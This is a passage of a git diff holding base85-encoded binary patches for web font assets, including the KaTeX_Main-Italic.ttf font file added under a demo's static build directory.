zRhq*?dwWeik{KUdgIRKk7I7N$DYhs&Y^kkSRq=aCa*}6Sq6_R@6Zd|?l}|J?QnMSWuaiY_q36zt`s%!Gb5a$Vyg0h4RTIVH{(CaEN~*Fm!R(7W2YTsDI(PzKzAQ{0wqI zT>e}6#hklV4oF`b0GQLuj2r=U8KB1?Qmu3?AfrLc?)YeW!KK)ACNn9{s^W9h zQkpYT*EmI?f{vDTcy^0S#9c1Qw+okRLsrdFjz0?6bS6JLB|b{R*;J|-f7uqPm8vG` zRxgw2YEb5xdZbiOHtJePw@Y*-AW4dmnM7PJc{5_9=`*zzSqXaKHtJ|}q3c;H-2~_a zpksjECeb~Bt_Som2od|UF6DrL*l=BrqSPpgJEfLZ-csaemZQQ+iC%1qGMqZszFF+2 zFXKa&97Y7P=u0Op-A||#0=CSkWKbN;Nswl7x|0#X^*BOjah(EOt+>wv=%pr^F8y^; zAme9QE=8c&s1bo!k|DITX*C0<&*b_uTsBk?)uWa8i3)SP$r2!aCd-rRpuh%2gBHu9 zJx=SB6lSN#Vesq3s2GxRBCi7jY3Ae5XHBrc2MPpq5m4643)jU-W3`k6IlYUuYD7u_ z&}mnfrdTO@zD3HJ1}JY>(~}JKHq{pD^aP;7ilr)i)=@sYK!Q`z##`@M6$2oEkNp>y z95B?&Qh!EdoG$=>X1V#%OWBd#GM|FSXZ;QUg2BSL8`Zj-@mLdpf&l@@ur;d^gEymb+8(M|4ZCpTDE}kf&F8q9?d>jkB61-E;0bF9wuPgzj>C zo8ZZy`a7!iDqHKB?(_d{^1)c^ec~SVj92O<^=VP@1oN*d3VxlYMY&F|)oit8W`3)< z>&~w_#BAy#e9FPzPv3uRKM7PTC?Txfu^0URp#u~bCdn$(ht zTpBp7_Wswl+BjEx=FgoXAe9_<^|8dM`+8F*=chCmqT@dk3@s#@)4b$&ajF1ZGYBOo zaUWHJx2-L58bAd<)fDwL{;?t%`E?S5er_3$nM{l4W$mg(zV&QcJZj2AxGZ^cDx1~; z{i+zcDe#1IEDQ_h^5$bn*4$%RD(SqZVu}G9oX>(nnUPSHL@U%WJW2OYZpK&bzCN&9ZpUow9bncCC)2jrKcFMkB4n z%=^?U3dqY?vY(O6;wsA)cuK|xHE%<{M1_lWU|1Z;ArMat@5wk30=%Z8=Y$ib8h&fp zEYhf|9Trk;DH})sCFvrh8syOH0_|#?^*iR#82!*mE20JbB0l+0Bynv)pOjXp(W2qf zP`X97GnRJ`*zsV7ZG3pgevbw)@fd5~fGfU4$`$EEE5GVL$PWU)D19$z4Y!4c#XNJ=UcH4QBtJsQKv z#4MbJRfI@UqQ$U@O|$>44so1Z;w4CwBw317Y0|lQc==_@k}XHB1@h!8P^d_;5&=P_ zLduk@P^n6_8nqe&;oY=bW^A?2UXT0GQOCl;Z+F8bMH>IyaMN|S!zYt0vdJNrJn|`^ zFqq>`IPHv+PAxCF(`g^}*t1(l;}UN0CCzxcy}a!6ixxE&euA+iC$IEc>tG|Ce|}L@ zOCwZq9V))g3tn&U`1+xH1D)NAdpO0{IyuE>{)i(zNyvMTSC9P|f$ztU(r-VXbnh7W zyRRC6w2b?{=`v-K?fG3*t*BVA`^k9N1Q6$#hv+W2xexpR4)|YGXzkI8qswcr=J2RB z!m}nYr32#QnqT$#1?SBP;NTs9D6JuV^;112HXy(Cp8kEbvFSyv=~t>{30T_$Kmo+O literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Main-Italic.ttf b/demo/static/dist/assets/KaTeX_Main-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..0e9b0f354ad460202bba554359f5adcc8da666b7 GIT binary patch literal 33580 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 